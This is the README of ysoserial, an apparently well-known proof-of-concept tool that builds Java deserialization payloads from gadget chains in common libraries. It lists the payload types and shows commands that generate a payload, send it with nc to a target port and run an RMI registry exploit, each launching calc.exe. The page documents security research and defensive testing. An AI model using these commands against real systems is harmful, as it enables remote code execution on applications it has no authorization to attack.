Home

Awesome

ysoserial

Join the chat at https://gitter.im/frohoff/ysoserial Download Latest Snapshot Travis Build Status Appveyor Build status

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

logo

Description

Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE <= 1.7u21 and several other libraries.

ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

Usage

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
  Available payload types:
     Payload              Authors                                Dependencies                                                                                                                                                                                        
     -------              -------                                ------------                                                                                                                                                                                        
     Atomikos             @pwntester, @sciccone                  transactions-osgi:4.0.6, jta:1.1                                                                                                                                                                    
     BeanShell1           @pwntester, @cschneider4711            bsh:2.0b5                                                                                                                                                                                           
     C3P0                 @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                                           
     Clojure              @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                                       
     CommonsBeanutils1    @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                                               
     CommonsCollections1  @frohoff                               commons-collections:3.1                                                                                                                                                                             
     CommonsCollections2  @frohoff                               commons-collections4:4.0                                                                                                                                                                            
     CommonsCollections3  @frohoff                               commons-collections:3.1                                                                                                                                                                             
     CommonsCollections4  @frohoff                               commons-collections4:4.0                                                                                                                                                                            
     CommonsCollections5  @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                                             
     CommonsCollections6  @matthias_kaiser                       commons-collections:3.1                                                                                                                                                                             
     CommonsCollections7  @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                                             
     FileUpload1          @mbechler                              commons-fileupload:1.3.1, commons-io:2.4                                                                                                                                                            
     Groovy1              @frohoff                               groovy:2.3.9                                                                                                                                                                                        
     Hibernate1           @mbechler                                                                                                                                                                                                                                  
     Hibernate2           @mbechler                                                                                                                                                                                                                                  
     JBossInterceptors1   @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                            
     JRMPClient           @mbechler                                                                                                                                                                                                                                  
     JRMPListener         @mbechler                                                                                                                                                                                                                                  
     JSON1                @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1       @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                                        
     Jdk7u21              @frohoff                                                                                                                                                                                                                                   
     Jython1              @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                                             
     MozillaRhino1        @matthias_kaiser                       js:1.7R2                                                                                                                                                                                            
     MozillaRhino2        @_tint0                                js:1.7R2                                                                                                                                                                                            
     Myfaces1             @mbechler                                                                                                                                                                                                                                  
     Myfaces2             @mbechler                                                                                                                                                                                                                                  
     ROME                 @mbechler                              rome:1.0                                                                                                                                                                                            
     Spring1              @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                               
     Spring2              @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                                           
     SpringJta            @zerothoughts, @sciccone               spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1                                                                                                                                      
     Struts2JasperReports @sciccone                              struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20                                                                                                                                            
     URLDNS               @gebl                                                                                                                                                                                                                                      
     Vaadin1              @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                                          
     Wicket1              @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                                                

Examples

$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Installation

  1. Download the latest jar from JitPack Download Latest Snapshot

Note that GitHub-hosted releases were removed in compliance with the GitHub Community Guidelines

Building

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

Code Status

Build Status Build status

Contributing

  1. Fork it
  2. Create your feature branch (git checkout -b my-new-feature)
  3. Commit your changes (git commit -am 'Add some feature')
  4. Push to the branch (git push origin my-new-feature)
  5. Create new Pull Request

See Also